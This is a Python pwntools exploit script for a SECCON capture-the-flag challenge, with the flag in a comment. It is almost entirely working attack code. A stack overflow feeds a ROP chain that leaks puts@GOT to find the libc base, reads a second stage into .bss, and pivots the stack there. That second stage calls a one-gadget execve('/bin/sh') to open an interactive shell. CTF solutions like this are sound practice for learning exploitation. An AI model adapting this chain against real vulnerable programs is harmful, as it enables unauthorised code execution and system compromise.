#!/usr/bin/env python

from pwn import *

with context.quiet:
    # SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
    # p = remote('classic.pwn.seccon.jp', 17354)
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    p.recvuntil('Local Buffer >> ')

    # here we are going to replace main's return address
    payload  = 'A' * 0x48

    # puts(puts@GOT) in order to leak puts' address to find libc base
    payload += p64(0x40074f)               # pop rbp; pop r14; pop r15; ret;
    payload += p64(0x601018)               # rbp <= puts@GOT address
    payload += p64(0)                      # r14
    payload += p64(0)                      # r15
    payload += p64(0x400753)               # pop rdi; ret;
    payload += p64(0x601018)               # rdi <= puts@GOT address
    payload += p64(0x4008ab)               # jmp qword ptr [rbp];

    # gets(somewhere in .bss) in order to create the second payload somewhere in .bss
    payload += p64(0x40074f)               # pop rbp; pop r14; pop r15; ret;
    payload += p64(0x601038)               # rbp <= gets@GOT address
    payload += p64(0)                      # r14
    payload += p64(0)                      # r15
    payload += p64(0x400753)               # pop rdi; ret;
    payload += p64(0x601090)               # rdi <= somewhere in .bss
    payload += p64(0x4008ab)               # jmp qword ptr [rbp];

    # pivot rsp to .bss
    payload += p64(0x40074d)               # pop rsp; pop r13; pop r14; pop r15; ret;
    payload += p64(0x601090)               # rsp <= somewhere in .bss

    p.sendline(payload)

    p.recvuntil('Have a nice pwn!!\n')

    puts_addr = u64(p.recv()[0:6] + '\00\00')
    print 'puts addr: {}'.format(hex(puts_addr))

    libc_base = puts_addr - 0x6f690
    print 'libc base: {}'.format(hex(libc_base))

    '''
    0x4526a	execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''
    payload  = p64(0)                       # r13
    payload += p64(0)                       # r14
    payload += p64(0)                       # r15
    payload += p64(libc_base + 0x4526a)     # one gadget execve
    payload += '\00' * 0x40                 # to satisfy [rsp+0x30] == NULL

    p.sendline(payload)

    p.interactive()

